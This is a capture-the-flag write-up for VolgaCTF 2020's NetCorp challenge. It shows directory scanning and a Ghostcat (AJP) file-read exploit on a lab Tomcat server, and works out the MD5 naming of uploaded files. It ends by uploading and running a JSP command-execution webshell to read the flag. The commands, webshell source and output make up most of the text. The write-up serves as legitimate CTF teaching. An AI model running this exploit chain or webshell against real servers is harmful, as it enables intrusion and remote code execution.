NetCorp
NetCorp Another telecom provider. Hope these guys prepared well enough for the network load...
Recon
Skid mode engaged
The page talks about the load it should be able to take, we assume that is a hint to go
full bugbounty on it - gobuster all the way ̿̿ ̿̿ ̿'̿'\̵͇̿̿\з= ( ▀ ͜͞ʖ▀) =ε/̵͇̿̿/’̿’̿ ̿ ̿̿ ̿̿
gobuster output:
# gobuster dir -u "http://netcorp.q.2020.volgactf.ru:7782/" -w /usr/share/dirb/wordlists/small.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://netcorp.q.2020.volgactf.ru:7782/
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/small.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/03/27 19:47:35 Starting gobuster
===============================================================
/docs (Status: 302)
/examples (Status: 302)
/resources (Status: 302)
/uploads (Status: 302)
===============================================================
2020/03/27 19:47:40 Finished
===============================================================
The following two URLs point to a Apache Tomcat 9 Version 9.0.24, Aug 14 2019
server:
http://netcorp.q.2020.volgactf.ru:7782/examples/
http://netcorp.q.2020.volgactf.ru:7782/docs/
This version is vulnerable to Ghostcat for which a public exploit can be found:
Ghostcat
What can Ghostcat do ?
By exploiting the Ghostcat vulnerability, an attacker can read the contents of configuration files and source code files of all webapps deployed on Tomcat.
In addition, if the website application allows users upload file, an attacker can first upload a file containing malicious JSP script code to the server (the uploaded file itself can be any type of file, such as pictures, plain text files etc.), and then include the uploaded file by exploiting the Ghostcat vulnerability, which finally can result in remote code execution.
nmap shows us that port 8009 is indeed open (needed for Ghostcat):
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 53
25/tcp filtered smtp no-response
135/tcp filtered msrpc no-response
139/tcp filtered netbios-ssn no-response
445/tcp filtered microsoft-ds no-response
8009/tcp open ajp13 syn-ack ttl 52
9090/tcp open zeus-admin syn-ack ttl 52
Running the exploit:
$ python 48143.py -p 8009 -f WEB-INF/web.xml netcorp.q.2020.volgactf.ru
Getting resource at ajp13://netcorp.q.2020.volgactf.ru:8009/asdf
----------------------------
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>NetCorp</display-name>
<servlet>
<servlet-name>ServeScreenshot</servlet-name>
<display-name>ServeScreenshot</display-name>
<servlet-class>ru.volgactf.netcorp.ServeScreenshotServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServeScreenshot</servlet-name>
<url-pattern>/ServeScreenshot</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>ServeComplaint</servlet-name>
<display-name>ServeComplaint</display-name>
<description>Complaint info</description>
<servlet-class>ru.volgactf.netcorp.ServeComplaintServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServeComplaint</servlet-name>
<url-pattern>/ServeComplaint</url-pattern>
</servlet-mapping>
<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>
</web-app>
Seems to work, but now we need to find the flag. It is not:
- flag
- flag.txt
- FLAG
- /flag
- /flag.txt
:-)
Uploads
The WEB-INF/web.xml
file shows that there is a /ServeScreenshot
. When we talk to this URL we see that it does not
accept GET requests, when we send a post we get errors about file uploads. So, lets upload a file.
We can upload our own files to the server with:
# curl -vv -F 'data=@test.jpg' http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot
* Trying 77.244.215.184:7782...
* TCP_NODELAY set
* Connected to netcorp.q.2020.volgactf.ru (77.244.215.184) port 7782 (#0)
> POST /ServeScreenshot HTTP/1.1
> Host: netcorp.q.2020.volgactf.ru:7782
> User-Agent: curl/7.66.0
> Accept: */*
> Content-Length: 29890
> Content-Type: multipart/form-data; boundary=------------------------9175eefe16e87302
> Expect: 100-continue
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 100
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Content-Type: application/json;charset=ISO-8859-1
< Transfer-Encoding: chunked
< Date: Sat, 28 Mar 2020 00:16:09 GMT
<
* Connection #0 to host netcorp.q.2020.volgactf.ru left intact
{'success':'true'}
But we have no idea where the file ends up.
We can request the frontpage of the site with:
python 48143.py -p 8009 -f index.html netcorp.q.2020.volgactf.ru
With a lot of trial and error we identified the location of the class files:
python 48143.py -p 8009 -f WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class netcorp.q.2020.volgactf.ru
We can then decompile this file with jd-gui (removed a bunch of linebreaks):
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;
import ru.volgactf.netcorp.ServeScreenshotServlet;
@MultipartConfig
public class ServeScreenshotServlet
extends HttpServlet
{
private static final String SAVE_DIR = "uploads";
public ServeScreenshotServlet() { System.out.println("ServeScreenshotServlet Constructor called!"); }
public void init(ServletConfig config) throws ServletException { System.out.println("ServeScreenshotServlet \"Init\" method called"); }
public void destroy() { System.out.println("ServeScreenshotServlet \"Destroy\" method called"); }
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String appPath = request.getServletContext().getRealPath("");
String savePath = appPath + "uploads";
File fileSaveDir = new File(savePath);
if (!fileSaveDir.exists()) {
fileSaveDir.mkdir();
}
String submut = request.getParameter("submit");
if (submut == null || !submut.equals("true"));
for (Part part : request.getParts()) {
String fileName = extractFileName(part);
fileName = (new File(fileName)).getName();
String hashedFileName = generateFileName(fileName);
String path = savePath + File.separator + hashedFileName;
if (path.equals("Error"))
continue;
part.write(path);
}
PrintWriter out = response.getWriter();
response.setContentType("application/json");
response.setCharacterEncoding("UTF-8");
out.print(String.format("{'success':'%s'}", new Object[] { "true" }));
out.flush();
}
private String generateFileName(String fileName) {
try {
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(fileName.getBytes());
byte[] digest = md.digest();
String s2 = (new BigInteger(1, digest)).toString(16);
StringBuilder sb = new StringBuilder(32);
for (int i = 0, count = 32 - s2.length(); i < count; i++) {
sb.append("0");
}
return sb.append(s2).toString();
}
catch (NoSuchAlgorithmException e) {
e.printStackTrace();
return "Error";
}
}
private String extractFileName(Part part) {
String contentDisp = part.getHeader("content-disposition");
String[] items = contentDisp.split(";");
for (String s : items) {
if (s.trim().startsWith("filename")) {
return s.substring(s.indexOf("=") + 2, s.length() - 1);
}
}
return "";
}
}
Important parts in the source:
String savePath = appPath + "uploads";
= The files are saved in the uploads directoryString hashedFileName = generateFileName(fileName);
= The files are saved under a different name which is generatedString path = savePath + File.separator + hashedFileName;
= File path + generated name is usedMessageDigest md = MessageDigest.getInstance("MD5");
= MD5 is used to generate the new filename
The MD5 is generated over the old filename
So, if we take our test.jpg
filename, the new filename is 0412c29576c708cf0155e8de242169b1
:
# echo -n "test.jpg" | md5sum
0412c29576c708cf0155e8de242169b1 -
We can find our file at: /uploads/0412c29576c708cf0155e8de242169b1
Getting RCE
Let's upload something more interesting.
We uploaded a simple command execution file:
# cat vlekkeloos.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
out.println("Executing command");
Process p = Runtime.getRuntime().exec("ls");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
%>
Uploading it to the server:
$ curl -vv -F 'data=@vlekkeloos.jsp' http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot
However it seems our exploit only can read files and not execute them:
# python 48143.py -p 8009 -f uploads/f8853c92d6e2404e0891f03ee1b8b540 netcorp.q.2020.volgactf.ru
# Getting resource at ajp13://netcorp.q.2020.volgactf.ru:8009/asdf
# ----------------------------
<%@ page import="java.util.*,java.io.*"%>
<%
out.println("Executing command");
Process p = Runtime.getRuntime().exec("ls");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
%>
Ghostcat-CNVD-2020-10487
But there are other exploits out there, such as https://github.com/00theway/Ghostcat-CNVD-2020-10487
Using this exploit to execute our file:
$ python3 ajpshooter.py http://netcorp.q.2020.volgactf.ru 8009 /uploads/f8853c92d6e2404e0891f03ee1b8b540 eval
[<] 200 200
[<] Set-Cookie: JSESSIONID=5DEE5C3CD085AE8C3C5F46CC40CA9295; Path=/; HttpOnly
[<] Content-Type: text/html;charset=ISO-8859-1
[<] Content-Length: 146
Executing command
BUILDING.txt
CONTRIBUTING.md
LICENSE
NOTICE
README.md
RELEASE-NOTES
RUNNING.txt
bin
conf
flag.txt
lib
logs
temp
webapps
work
The commend execution works, and now we know where the flag is as well: flag.txt. We adjust our code to read the flag:
# cat vlekkeloos.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
out.println("Executing command");
Process p = Runtime.getRuntime().exec("cat flag.txt");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
%>
We upload this file and then run it with the exploit:
$ python3 ajpshooter.py http://netcorp.q.2020.volgactf.ru 8009 /uploads/f8853c92d6e2404e0891f03ee1b8b540 eval
[<] 200 200
[<] Set-Cookie: JSESSIONID=B55646A45413F92106E28A05F2D07186; Path=/; HttpOnly
[<] Content-Type: text/html;charset=ISO-8859-1
[<] Content-Length: 96
Executing command
VolgaCTF{qualification_unites_and_real_awesome_nothing_though_i_need_else}
Flag
VolgaCTF{qualification_unites_and_real_awesome_nothing_though_i_need_else}